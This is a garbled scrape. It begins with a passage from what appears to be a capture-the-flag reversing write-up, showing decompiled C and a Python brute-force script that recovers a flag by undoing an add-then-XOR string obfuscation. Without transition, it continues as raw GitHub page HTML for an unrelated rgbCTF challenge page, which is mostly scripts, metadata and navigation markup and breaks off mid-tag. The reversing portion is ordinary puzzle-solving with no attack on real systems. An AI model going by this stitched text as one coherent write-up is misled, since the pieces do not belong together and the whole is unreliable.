PTR_s_hthzgubI>*ww7>z+Ha,m>W,7z+hmG`_555555756028[local_2c] = PTR_s_hthzgubI>*ww7>z+Ha,m>W,7z+hmG`_555555756028[local_2c] + cVar1; local_2c = local_2c + 1; } uVar3 = FUN_55555555491a(); local_28 = 0; while( true ) { sVar2 = strlen(PTR_s_hthzgubI>*ww7>z+Ha,m>W,7z+hmG`_555555756028); if (sVar2 <= (ulong)(long)local_28) break; PTR_s_hthzgubI>*ww7>z+Ha,m>W,7z+hmG`_555555756028[local_28] = PTR_s_hthzgubI>*ww7>z+Ha,m>W,7z+hmG`_555555756028[local_28] ^ (byte)uVar3; local_28 = local_28 + 1; } return;}``` Basically the code does 2 things on string 0x555555554fc0, first each char is added to cVar1, then each char is xor-ed with uVar3. From the disassembly, I'm not sure if I did this correctly, but there's a line of `movzx eax, byte ptr [9]` at 0x555555554988, and this is relavent to cVar1. So I write this script to bruteforce all 0x100 cases of cVar1 and got the flag. ```from pwn import * def str_len(content): length = 0 for x in content: if x == "\x00": return length else: length += 1 return length f = open("ReddsArt_raw.bin", "rb")code = f.read()f.close() # print hexdump(code[0x973:])header = code[0:0x973]body = code[0x973:0x973 + 0xe7]footer = code[0x973 + 0xe7:] new_body = "".join([chr(ord(x) ^ 0x1e) for x in body]) new_code = header + new_body + footer new_header = new_code[:0xfc0]new_body = new_code[0xfc0:0xfc0 + 0x1e]new_footer = new_code[0xfc0 + 0x1e:] # new_body is "hthzgubI>*ww7>z+Ha,m>W,7z+hmG`"original = new_body[::] uVar3 = 0x1efor cVar1 in range(0, 0x100): tmp = list(original) local_2c = 0 while True: sVar2 = str_len(tmp) if sVar2 <= local_2c: break else: tmp[local_2c] = chr((ord(tmp[local_2c]) + cVar1) % 0x100) local_2c += 1 local_2c = 0 while True: sVar2 = str_len(tmp) if sVar2 <= local_2c: break else: tmp[local_2c] = chr(ord(tmp[local_2c]) ^ uVar3) local_2c += 1 outcome = "".join(tmp) if "uiuc" in outcome or "UIUC" in outcome: print outcome ```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-solutions/rgbCTF/rev/sadistic-reversing-2 at master ยท BigB00st/ctf-solutions ยท GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A903:68DA:209D264D:21992454:64121E99" data-pjax-transient="true"/><meta name="html-safe-nonce" content="94f56f769294e0cb929639708a277b624006e059832de050921222f1aa6fcfdb" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBOTAzOjY4REE6MjA5RDI2NEQ6MjE5OTI0NTQ6NjQxMjFFOTkiLCJ2aXNpdG9yX2lkIjoiMjc4NzgxNDQ0ODMyNDI4ODE1MyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="45051992c690bc6d864b6beed352a1c93bd92457cdfbef7f7409a03bc51916c5" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:252509468" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/bd5503cd874b2aa8ff5165158ad67b31f52a409017e508c60ff9be5b985b019b/BigB00st/ctf-solutions" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-solutions/rgbCTF/rev/sadistic-reversing-2 at master ยท BigB00st/ctf-solutions" /><meta name="twitter:description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/bd5503cd874b2aa8ff5165158ad67b31f52a409017e508c60ff9be5b985b019b/BigB00st/ctf-solutions" /><meta property="og:image:alt" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-solutions/rgbCTF/rev/sadistic-reversing-2 at master ยท BigB00st/ctf-solutions" /><meta property="og:url" content="https://github.com/BigB00st/ctf-solutions" /><meta property="og:description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/BigB00st/ctf-solutions git https://github.com/BigB00st/ctf-solutions.git"> <meta name="octolytics-dimension-user_id" content="45171153" /><meta name="octolytics-dimension-user_login" content="BigB00st" /><meta name="octolytics-dimension-repository_id" content="252509468" /><meta name="octolytics-dimension-repository_nwo" content="BigB00st/ctf-solutions" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="252509468" /><meta name="octolytics-dimension-repository_network_root_nwo" content="BigB00st/ctf-solutions" /> <link rel="canonical" href="https://github.com/BigB00st/ctf-solutions/tree/master/rgbCTF/rev/sadistic-reversing-2" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Signย up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 